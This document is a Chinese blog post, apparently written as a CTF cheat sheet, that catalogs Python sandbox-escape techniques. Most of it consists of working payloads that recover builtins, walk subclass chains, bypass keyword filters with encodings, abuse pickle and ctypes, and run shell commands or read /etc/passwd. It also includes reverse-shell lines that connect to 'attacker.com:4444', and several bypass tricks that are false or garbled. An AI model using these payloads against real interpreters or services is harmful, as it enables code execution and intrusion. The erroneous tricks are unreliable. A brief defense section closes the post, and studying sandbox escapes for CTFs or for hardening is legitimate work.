3961 字
20 分钟
Python沙箱逃逸

从OJ到eval场景,覆盖所有Python沙箱逃逸技术


目录#


一、沙箱逃逸概述#

1.1 应用场景#

  • Python OJ(在线判题系统)

  • 在线Python IDE/Playground

  • eval()/exec() 代码执行

  • RestrictedPython

  • 沙箱环境(如PyPy沙箱)

1.2 沙箱通常限制什么#

  1. 删除危险模块:os、subprocess、commands、sys

  2. 删除__builtins__:open、eval、exec、import

  3. 过滤关键字:import、os、system、popen

  4. 禁用魔术方法:class、mro、subclasses

  5. 限制sys.modules

  6. 白名单机制:只允许特定模块/函数

1.3 逃逸本质#

“沙箱限制的是’名字’,不是’能力’”

  • 换个名字访问同一个对象

  • 通过对象引用链绕过import限制

  • 通过反射机制访问被删函数


二、沙箱环境探测(关键步骤)#

在尝试逃逸之前,必须先探测沙箱的限制范围

2.1 测试可用内置函数#

基础探测#

# 测试1:查看当前环境有哪些内置函数
print(dir(__builtins__))
# 测试2:查看内置函数数量
print(len(dir(__builtins__)))
# 测试3:尝试访问常见危险函数
print(__builtins__.get('eval'))
print(__builtins__.get('exec'))
print(__builtins__.get('open'))
print(__builtins__.get('__import__'))

批量测试函数可用性#

# 测试常见危险函数是否可用
dangerous_functions = [
'eval', 'exec', 'compile', 'open',
'__import__', 'input', 'help', 'breakpoint'
]
for func in dangerous_functions:
try:
result = __builtins__.get(func)
if result:
print(f"[+] {func}: 可用")
else:
print(f"[-] {func}: 被删除")
except Exception as e:
print(f"[-] {func}: 错误 - {e}")

测试示例(有回显)#

# 在沙箱中执行这些测试代码
# 如果eval可用
eval('print("eval可用")')
# 如果exec可用
exec('print("exec可用")')
# 如果open可用
f = open('/etc/passwd')
print(f.read())
f.close()
# 如果__import__可用
os = __import__('os')
print(os.system('id'))

2.2 测试可用模块#

基础探测#

# 测试1:尝试import常见模块
import os # 测试os模块
import subprocess # 测试subprocess模块
import sys # 测试sys模块
import commands # 测试commands模块(Python 2)

批量测试模块#

# 测试常见模块是否可导入
modules = [
'os', 'subprocess', 'sys', 'commands',
'socket', 'pickle', 'ctypes', 'pty',
'multiprocessing', 'threading', 'asyncio',
'importlib', 'imp', 'code', 'codeop'
]
for module in modules:
try:
__import__(module)
print(f"[+] {module}: 可导入")
except ImportError:
print(f"[-] {module}: 不可导入")
except Exception as e:
print(f"[!] {module}: 错误 - {e}")

测试sys.modules#

# 查看已加载的模块
import sys
print(sys.modules.keys())
# 查看特定模块是否在sys.modules中
import sys
print('os' in sys.modules)
print('subprocess' in sys.modules)

2.3 探测过滤规则#

测试关键字过滤#

# 测试常见关键字是否被过滤
keywords = [
'import', 'os', 'system', 'popen',
'eval', 'exec', 'open', 'file',
'__class__', '__mro__', '__subclasses__',
'__globals__', '__builtins__', '__import__'
]
for keyword in keywords:
try:
# 尝试构造包含关键字的字符串
test = keyword
print(f"[+] '{keyword}': 未过滤")
except:
print(f"[-] '{keyword}': 被过滤")

测试字符串过滤#

# 测试引号是否被过滤
test1 = 'single quote'
test2 = "double quote"
print("引号测试通过")
# 测试下划线是否被过滤
test_underscore = 1
print("下划线测试通过")
# 测试点号是否被过滤
test.dot = 1
print("点号测试通过")

测试魔术方法#

# 测试魔术方法是否可用
test_str = ''
try:
result = test_str.__class__
print(f"[+] __class__: 可用")
except:
print(f"[-] __class__: 被禁")
try:
result = test_str.__class__.__mro__
print(f"[+] __mro__: 可用")
except:
print(f"[-] __mro__: 被禁")
try:
result = test_str.__class__.__mro__[-1].__subclasses__()
print(f"[+] __subclasses__: 可用")
except:
print(f"[-] __subclasses__: 被禁")

2.4 完整探测脚本#

#!/usr/bin/env python3
"""
沙箱环境完整探测脚本
在沙箱中执行此脚本,快速了解限制范围
"""
def probe_builtins():
"""探测内置函数"""
print("\n=== 探测内置函数 ===")
dangerous = ['eval', 'exec', 'compile', 'open', '__import__',
'input', 'help', 'breakpoint', 'reload']
available = []
blocked = []
for func in dangerous:
try:
if __builtins__.get(func):
available.append(func)
else:
blocked.append(func)
except:
blocked.append(func)
print(f"可用: {available}")
print(f"被删: {blocked}")
return available, blocked
def probe_modules():
"""探测可用模块"""
print("\n=== 探测可用模块 ===")
modules = ['os', 'subprocess', 'sys', 'commands', 'socket',
'pickle', 'ctypes', 'pty', 'importlib', 'imp']
available = []
blocked = []
for module in modules:
try:
__import__(module)
available.append(module)
except:
blocked.append(module)
print(f"可导入: {available}")
print(f"不可导入: {blocked}")
return available, blocked
def probe_magic_methods():
"""探测魔术方法"""
print("\n=== 探测魔术方法 ===")
methods = ['__class__', '__mro__', '__subclasses__', '__globals__',
'__builtins__', '__init__', '__dict__']
available = []
blocked = []
test_obj = ''
for method in methods:
try:
if method == '__class__':
result = test_obj.__class__
elif method == '__mro__':
result = test_obj.__class__.__mro__
elif method == '__subclasses__':
result = test_obj.__class__.__mro__[-1].__subclasses__()
else:
result = getattr(test_obj, method, None)
if result:
available.append(method)
else:
blocked.append(method)
except:
blocked.append(method)
print(f"可用: {available}")
print(f"被禁: {blocked}")
return available, blocked
def probe_globals():
"""探测全局命名空间"""
print("\n=== 探测全局变量 ===")
try:
print(f"全局变量数量: {len(globals())}")
print(f"全局变量: {list(globals().keys())}")
return globals()
except Exception as e:
print(f"无法访问globals: {e}")
return None
def probe_builtins_dict():
"""探测__builtins__字典"""
print("\n=== 探测__builtins__ ===")
try:
builtins_dict = dir(__builtins__)
print(f"内置对象数量: {len(builtins_dict)}")
print(f"内置对象: {builtins_dict[:100]}...")
return builtins_dict
except Exception as e:
print(f"无法访问__builtins__: {e}")
return None
# 执行所有探测
if __name__ == '__main__':
print("=" * 60)
print("沙箱环境探测开始")
print("=" * 60)
probe_builtins()
probe_modules()
probe_magic_methods()
probe_globals()
probe_builtins_dict()
print("\n" + "=" * 60)
print("探测完成")
print("=" * 60)

2.5 探测结果分析#

根据探测结果选择逃逸路径:

探测结果推荐逃逸路径
reload可用直接reload(builtin)恢复
__import__可用直接import os
importlib可用importlib.import_module(‘os’)
魔术方法可用对象继承链逃逸
pickle可用反序列化逃逸
ctypes可用调用C函数
只有白名单函数chr编码+对象链

2.6 实战示例#

示例1:eval沙箱探测#

# 题目代码
eval(input(), {"__builtins__": {}}, {})
# 探测payload
print(dir(__builtins__)) # 输出: [] (被清空)
print(dir()) # 输出: [] (无全局变量)
# 测试字面量访问
print(1) # 可用
print('test') # 可用
print([1,2,3]) # 可用
# 测试对象访问
print(().__class__) # 可用!
print(().__class__.__mro__) # 可用!

示例2:OJ沙箱探测#

# 探测内置函数
print(__builtins__) # 输出: <module 'builtins'>
print(dir(__builtins__)) # 输出很多函数
# 测试危险函数
print(eval) # 报错: name 'eval' is not defined
print(open) # 报错: name 'open' is not defined
# 测试模块
import os # 报错: ImportError
import sys # 报错: ImportError
# 测试魔术方法
print(''.__class__) # 可用!

三、核心逃逸路径#

Python沙箱逃逸有7大核心路径:

路径适用场景关键技术
路径1__builtins__限制reload、builtins恢复
路径2import限制编码绕过、importlib
路径3对象继承链subclasses、globals
路径4内置函数eval/exec/execfile
路径5标准库subprocess/ctypes/pickle
路径6第三方库multiprocessing/asyncio
路径7字节码/ASTco_consts、types

四、绕过__builtins__限制#

4.1 __builtins__被删除后恢复#

方法1:reload(Python 2)#

reload(__builtin__) # 恢复所有内置函数
__import__('os').system('id')

方法2:imp.reload(Python 3)#

import imp
imp.reload(builtins)
__import__('os').system('id')

方法3:从其他模块获取#

# 从任意模块的__builtins__获取
[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['eval']('__import__("os").system("id")')

4.2 危险函数被删除后的替代#

open被删除#

# 方法1:从builtins恢复
__builtins__['open']('/etc/passwd').read()
# 方法2:用io模块
import io
io.open('/etc/passwd').read()
# 方法3:用codecs
import codecs
codecs.open('/etc/passwd').read()
# 方法4:用pathlib
import pathlib
pathlib.Path('/etc/passwd').read_text()
# 方法5:用fileinput
import fileinput
for line in fileinput.input('/etc/passwd'):
print(line)

eval/exec被删除#

# 方法1:从builtins恢复
__builtins__['eval']('__import__("os").system("id")')
# 方法2:用exec + compile
code = '__import__("os").system("id")'
exec(compile(code, '', 'exec'))
# 方法3:用execfile(Python 2)
execfile('/tmp/payload.py')
# 方法4:用subprocess
import subprocess
subprocess.call(['id'], shell=True)

__import__被删除#

# 方法1:importlib
import importlib
importlib.import_module('os').system('id')
# 方法2:__builtins__
__builtins__['__import__']('os').system('id')
# 方法3:从globals获取
[x for x in (1).__class__.__base__.__subclasses__() if "warning" in str(x)][0]()._module.__builtins__['__import__']('os').system('id')

五、绕过import限制#

5.1 关键字过滤#

方法1:__import__函数#

__import__('os').system('id')

方法2:importlib#

import importlib
importlib.import_module('os').system('id')

方法3:import语句变体#

# 空格绕过
import os
# 括号形式(Python 3.4+)
import('os').system('id')

5.2 模块名过滤(os/subprocess/commands)#

方法1:编码绕过#

# rot13
__import__('bf'.decode('rot13')).system('id') # bf → os
# base64
import base64
__import__(base64.b64decode('b3M=').decode()).system('id')
# hex
__import__('\x6f\x73').system('id') # \x6f\x73 = os
# unicode
__import__('\u006f\u0073').system('id')
# 反转
s = 'so'[::-1]
__import__(s).system('id')

方法2:getattr绕过#

import codecs
getattr(__import__('os'), codecs.encode('flfgrz', 'rot_13'))('id')
# os.system('id')

方法3:字典访问#

# 通过sys.modules
import sys
sys.modules['os'] = __import__('pbzznaqf'.decode('rot13'))
import commands
commands.getoutput('id')

5.3 sys.modules被清空#

方法1:重新加载源文件#

# Python 2
execfile('/usr/lib/python2.7/os.py')
system('id')
# Python 3
with open('/usr/local/lib/python3.8/os.py') as f:
exec(f.read())
system('id')

方法2:恢复sys.modules#

import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os
os.system('id')

方法3:直接执行代码#

# 从文件读取并执行
code = open('/usr/lib/python2.7/os.py').read()
exec(code)
system('id')

五、通过对象继承链逃逸#

5.1 基础链(爬到object)#

# 任意对象 → __class__ → __mro__ → object → __subclasses__
''.__class__.__mro__[-1].__subclasses__()

5.2 找危险类#

枚举所有子类#

subclasses = ''.__class__.__mro__[-1].__subclasses__()
for i, cls in enumerate(subclasses):
print(i, cls.__name__)

常用目标类#

# Python 2
file # 读文件
subprocess.Popen # 执行命令
# Python 3
subprocess.Popen # 执行命令
os._wrap_close # 通过globals拿os
warnings.catch_warnings # 通过_module拿builtins

5.3 利用示例#

Python 2读文件#

''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

执行命令(subprocess.Popen)#

# 找Popen索引
for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()):
if 'Popen' in str(cls):
print(i)
break
# 执行命令
''.__class__.__mro__[-1].__subclasses__()[i](['id'], stdout=-1).communicate()

通过os._wrap_close#

# 找_wrap_close索引
for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()):
if '_wrap_close' in str(cls):
print(i)
break
# 拿到os模块
''.__class__.__mro__[-1].__subclasses__()[i].__init__.__globals__['os'].popen('id').read()

通过catch_warnings拿builtins#

# 找catch_warnings索引
for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()):
if 'catch_warnings' in str(cls):
print(i)
break
# 拿到builtins
cls = ''.__class__.__mro__[-1].__subclasses__()[i]
cls()._module.__builtins__['__import__']('os').system('id')

六、通过内置函数逃逸#

6.1 eval / exec#

# 直接执行
eval('__import__("os").system("id")')
exec('__import__("os").system("id")')
# 从builtins恢复
__builtins__['eval']('__import__("os").system("id")')
__builtins__['exec']('__import__("os").system("id")')

6.2 execfile(Python 2)#

# 直接执行文件
execfile('/tmp/exploit.py')
# 执行系统命令
execfile('/usr/lib/python2.7/os.py')
system('id')

6.3 compile#

# 编译并执行代码
code = '__import__("os").system("id")'
compiled = compile(code, '<string>', 'exec')
exec(compiled)

6.4 breakpoint(Python 3.7+)#

# 触发调试器,可能绕过某些沙箱
breakpoint()

6.5 help#

# 进入help交互模式
help()
# 然后输入:
!sh # Python 2
os.system('id') # 某些环境

七、通过标准库模块逃逸#

7.1 subprocess模块#

import subprocess
# 方法1:call
subprocess.call(['id'], shell=True)
# 方法2:Popen
subprocess.Popen(['id'], stdout=-1).communicate()
# 方法3:run(Python 3.5+)
subprocess.run(['id'], capture_output=True)

7.2 os模块#

import os
# 方法1:system
os.system('id')
# 方法2:popen
os.popen('id').read()
# 方法3:spawn
os.spawnl(os.P_WAIT, '/bin/sh', ['sh', '-c', 'id'])

7.3 commands模块(Python 2)#

import commands
commands.getoutput('id')
commands.getstatusoutput('id')

7.4 pty模块#

import pty
import os
pty.spawn(['/bin/sh', '-c', 'id'])

7.5 socket模块(反弹shell)#

import socket
import os
s = socket.socket()
s.connect(('attacker.com', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system('/bin/sh')

7.6 pickle模块(反序列化)#

import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
pickle.loads(payload) # 执行os.system('id')

简化版payload:

import pickle
pickle.loads(b"cos\nsystem\n(S'id'\ntR.")

7.7 marshal模块#

import marshal
import types
code = compile('__import__("os").system("id")', '', 'exec')
marshaled = marshal.dumps(code)
func = types.FunctionType(marshal.loads(marshaled), {})
func()

7.8 code模块#

import code
# 交互式控制台
code.interact(local=locals())

八、通过第三方库逃逸#

8.1 ctypes#

import ctypes
# 调用C函数
libc = ctypes.CDLL('libc.so.6')
libc.system(b'id')

8.2 multiprocessing#

import multiprocessing
import os
def exploit():
os.system('id')
p = multiprocessing.Process(target=exploit)
p.start()
p.join()

8.3 threading#

import threading
import os
def exploit():
os.system('id')
t = threading.Thread(target=exploit)
t.start()
t.join()

8.4 concurrent.futures#

import concurrent.futures
import os
with concurrent.futures.ThreadPoolExecutor() as executor:
future = executor.submit(os.system, 'id')
future.result()

8.5 asyncio#

import asyncio
import os
async def exploit():
os.system('id')
asyncio.run(exploit())

九、通过字节码和AST逃逸#

9.1 直接操作字节码#

# 查看函数字节码
def f():
__import__('os').system('id')
import dis
dis.dis(f)
# 修改字节码
f.__code__.co_consts # 查看常量

9.2 通过types模块创建函数#

import types
code = compile('__import__("os").system("id")', '', 'exec')
func = types.FunctionType(code, {'__builtins__': __builtins__})
func()

9.3 AST操作#

import ast
code = '__import__("os").system("id")'
tree = ast.parse(code)
compiled = compile(tree, '', 'exec')
exec(compiled)

9.4 通过co_consts拿常量#

# 适用于沙箱允许定义函数但过滤了字符串
def f():
pass
f.__code__.co_consts # 查看函数中的常量
# 构造payload
code = type(f.__code__)(
co_consts=('os', 'system', 'id'), # 注入常量
...
)

十、高级绕过技巧#

10.1 字符串过滤绕过#

拼接#

s = 'o' + 's'
__import__(s).system('id')

反转#

s = 'so'[::-1] # 'os'
__import__(s).system('id')

rot13#

import codecs
s = codecs.decode('bf', 'rot_13') # 'os'
__import__(s).system('id')

base64#

import base64
s = base64.b64decode('b3M=').decode() # 'os'
__import__(s).system('id')

hex#

s = '\x6f\x73' # 'os'
__import__(s).system('id')

unicode#

s = '\u006f\u0073' # 'os'
__import__(s).system('id')

chr拼接#

s = chr(111) + chr(115) # 'os'
__import__(s).system('id')

八进制#

s = '\157\163' # 'os'
__import__(s).system('id')

getattr + dict#

import os
getattr(os, {'s':'system'}['s'])('id')

10.2 点号/引号过滤绕过#

点号过滤#

# 用getattr
getattr(__import__('os'), 'system')('id')
# 用__dict__
__import__('os').__dict__['system']('id')

引号过滤#

# 用chr构造
s = chr(111) + chr(115) # 'os'
__import__(s).system(chr(105) + chr(100)) # 'id'
# 用request(Flask)
__import__(request.args.m).system(request.args.c)
&m=os&c=id

10.3 黑名单绕过#

双写绕过#

__imimportport__('os').sysystemtem('id')

大小写混淆#

__Import__('os').System('id')

内联注释(某些解释器)#

__import__('o/**/s').system('id')

NULL字节(某些版本)#

__import__('os\x00').system('id')

10.4 白名单绕过#

利用白名单函数#

# 如果白名单包含chr
s = chr(111) + chr(115)
# 如果白名单包含getattr
getattr(__import__('builtins'), chr(95)*2 + 'import' + chr(95)*2)(s).system('id')

通过白名单模块的属性#

# 如果允许math模块
math.__builtins__['__import__']('os').system('id')

十一、CTF实战案例#

案例1:Python OJ沙箱逃逸#

题目特征:

  • 在线Python执行环境

  • 禁用:os、subprocess、sys、import

  • 删除:__builtins__中的危险函数

解法:

# Step 1:找__builtins__
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
# Step 2:恢复__import__
builtins = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__import__ = builtins['__import__']
# Step 3:执行命令
__import__('os').system('cat /flag')

一行payload:

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /flag')

案例2:eval沙箱逃逸#

题目特征:

eval(input(), {"__builtins__": {}}, {})

解法1:通过字面量

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

解法2:通过字典

''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()

案例3:过滤import和os#

题目特征:

  • 过滤字符串:“import”、“os”

  • 过滤字符:单引号、双引号

解法:

# 用chr构造字符串
i = chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) # 'import'
o = chr(111) + chr(115) # 'os'
s = chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109) # 'system'
getattr(__builtins__, chr(95)*2 + i + chr(95)*2)(o).system('id')

案例4:白名单机制#

题目特征:

allowed = ['abs', 'all', 'any', 'bin', 'bool', 'chr', 'complex', 'divmod']
eval(input(), {"__builtins__": {k: __builtins__[k] for k in allowed}}, {})

解法:

# 利用chr构造任意字符串
# 利用列表推导式访问对象
''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__[chr(111)+chr(115)].popen(chr(105)+chr(100)).read()

案例5:execfile场景(Python 2)#

题目特征:

  • Python 2环境

  • 过滤所有import关键字

  • 允许execfile

解法:

# 写payload到/tmp
open('/tmp/exploit.py', 'w').write('import os; os.system("id")')
# 执行
execfile('/tmp/exploit.py')

十二、自动化脚本库#

12.1 枚举子类索引#

#!/usr/bin/env python3
# 枚举所有子类
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()):
print(i, cls.__name__)
# 查找特定类
# 找Popen
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()):
if 'Popen' in str(cls):
print(f'Popen at {i}')
# 找_wrap_close
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()):
if '_wrap_close' in str(cls):
print(f'_wrap_close at {i}')
# 找catch_warnings
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()):
if 'catch_warnings' in str(cls):
print(f'catch_warnings at {i}')

12.2 查找有os的类#

#!/usr/bin/env python3
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()):
try:
if 'os' in cls.__init__.__globals__:
print(f'{i} {cls.__name__} has os')
except:
pass

12.3 编码工具#

#!/usr/bin/env python3
import base64
import codecs
def encode_tools(s):
"""字符串编码工具"""
print(f"原字符串: {s}")
print(f"rot13: {codecs.encode(s, 'rot_13')}")
print(f"base64: {base64.b64encode(s.encode()).decode()}")
print(f"hex: {s.encode().hex()}")
print(f"chr: {'+'.join([f'chr({ord(c)})' for c in s])}")
print(f"反转: {s[::-1]}")
# 使用示例
encode_tools('os')
encode_tools('system')

十三、快速参考手册#

13.1 3秒判断沙箱类型#

eval(input()) → eval沙箱
exec(input()) → exec沙箱
Python OJ在线环境 → OJ沙箱
RestrictedPython → RP沙箱
删除__builtins__ → builtins沙箱
白名单函数 → 白名单沙箱

13.2 最强逃逸Payload(10个)#

1. 通用子类链(Python 2/3)

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('id').read()

2. 通过catch_warnings

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

3. reload恢复(Python 2)

reload(__builtin__)
__import__('os').system('id')

4. imp.reload恢复(Python 3)

import imp
imp.reload(builtins)
__import__('os').system('id')

5. execfile执行(Python 2)

execfile('/usr/lib/python2.7/os.py')
system('id')

6. pickle反序列化

import pickle
pickle.loads(b"cos\nsystem\n(S'id'\ntR.")

7. subprocess.Popen

__import__('subprocess').Popen(['id'], stdout=-1).communicate()

8. ctypes调用C

__import__('ctypes').CDLL('libc.so.6').system(b'id')

9. socket反弹shell

import socket,os;s=socket.socket();s.connect(('ip',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system('/bin/sh')

10. 编码绕过

__import__(chr(111)+chr(115)).system(chr(105)+chr(100)) # os.system('id')

13.3 绕过__builtins__限制速查#

__import__被删

import importlib
importlib.import_module('os').system('id')
__builtins__['__import__']('os').system('id')

open被删

__builtins__['open']('/etc/passwd').read()
import io
io.open('/etc/passwd').read()

eval/exec被删

__builtins__['eval']('__import__("os").system("id")')
exec(compile('__import__("os").system("id")', '', 'exec'))

所有builtins被删

reload(__builtin__) # Python 2
imp.reload(builtins) # Python 3

13.4 绕过import限制速查#

过滤”import”

__import__('os').system('id')
import importlib
importlib.import_module('os').system('id')

过滤”os”

__import__('bf'.decode('rot13')).system('id') # bf→os
__import__(chr(111)+chr(115)).system('id') # chr→os
import base64
__import__(base64.b64decode('b3M=').decode()).system('id')

过滤”system”

getattr(__import__('os'), 'flfgrz'.decode('rot13'))('id') # flfgrz→system
getattr(__import__('os'), chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))('id')

过滤”popen”

getattr(__import__('os'), 'cbcra'.decode('rot13'))('id').read()

13.5 字符串构造技巧速查#

方法示例结果
拼接'o' + 's'’os’
反转'so'[::-1]’os’
rot13codecs.decode('bf', 'rot_13')’os’
base64base64.b64decode('b3M=').decode()’os’
hex'\x6f\x73'’os’
unicode'\u006f\u0073'’os’
chrchr(111)+chr(115)’os’
八进制'\157\163'’os’

13.6 编码转换速查表#

原字符串rot13base64hexchr
osbfb3M=\x6f\x73chr(111)+chr(115)
systemflfgrzc3lzdGVt\x73\x79\x73\x74\x65\x6dchr(115)+chr(121)+…
importvzcberaW1wb3J0\x69\x6d\x70\x6f\x72\x74chr(105)+chr(109)+…
popencbcracG9wZW4=\x70\x6f\x70\x65\x6echr(112)+chr(111)+…

13.7 Python 2 vs Python 3#

特性Python 2Python 3
builtinsbuiltinbuiltins
reloadreload()imp.reload()
execfile有无(用exec)
file类有无(用open)
import()无有(3.4+)
commands有无
字符串str/unicodestr/bytes

13.8 CTF完整Checklist#

  • [ ] 判断沙箱类型(eval/exec/OJ)

  • [ ] 测试可用函数(print/dir/help)

  • [ ] 测试可用模块(import测试)

  • [ ] 检查__builtins__

  • [ ] 检查__import__

  • [ ] 检查魔术方法(class/mro)

  • [ ] 尝试reload恢复

  • [ ] 尝试子类链逃逸

  • [ ] 尝试编码绕过

  • [ ] 尝试第三方库(pickle/ctypes)

  • [ ] 构造最终payload

  • [ ] 执行命令

  • [ ] 获取flag


十四、常见错误排查#

import被禁#

→ 用__import__、importlib或子类链

__builtins__被删#

→ reload恢复、从子类获取、用execfile/exec

字符串被过滤#

→ 编码绕过(rot13/base64/chr)、反转/拼接、getattr

魔术方法被禁#

→ getattr绕过、dict访问

所有模块被删#

→ execfile加载源文件、pickle反序列化、ctypes调用C

Payload执行无反应#

→ 检查命令是否正确、尝试写文件验证、使用外带


十五、防御建议#

  1. 使用ast.literal_eval代替eval
import ast
result = ast.literal_eval(user_input) # 只能解析字面量
  1. 使用RestrictedPython
from RestrictedPython import compile_restricted
code = compile_restricted(user_input, '<inline>', 'exec')
  1. 白名单机制
allowed = {'abs', 'all', 'any'}
safe_builtins = {k: __builtins__[k] for k in allowed}
eval(user_input, {"__builtins__": safe_builtins}, {})
  1. 容器隔离(Docker)
docker run --rm -it python:3.9-slim python
  1. seccomp限制系统调用
# 限制危险的系统调用
import subprocess
subprocess.run(['seccomp-tools', 'dump', 'python'])
  1. 限制文件系统访问
import os
os.chroot('/tmp/sandbox') # 切换根目录
  1. 禁用危险模块
import sys
sys.modules['os'] = None
sys.modules['subprocess'] = None
  1. 监控资源使用
import resource
resource.setrlimit(resource.RLIMIT_CPU, (1, 1)) # CPU时间限制

十六、总结#

核心要点#

  1. 沙箱本质:限制”名字”不限制”能力”

  2. 7大逃逸路径:builtins、import、继承链、内置函数、标准库、第三方库、字节码

  3. 关键技巧:reload恢复、编码绕过、子类链、pickle反序列化

  4. 字符串构造:chr、编码、反转、拼接

最小化思维模型#

判断沙箱类型 → 测试可用性 → 选择逃逸路径 → 构造payload → 执行命令 → 获取flag
Python沙箱逃逸
https://lab404.cn/posts/python-sandbox-escape/
作者
见山
发布于
2026-03-22
许可协议
CC BY-NC-SA 4.0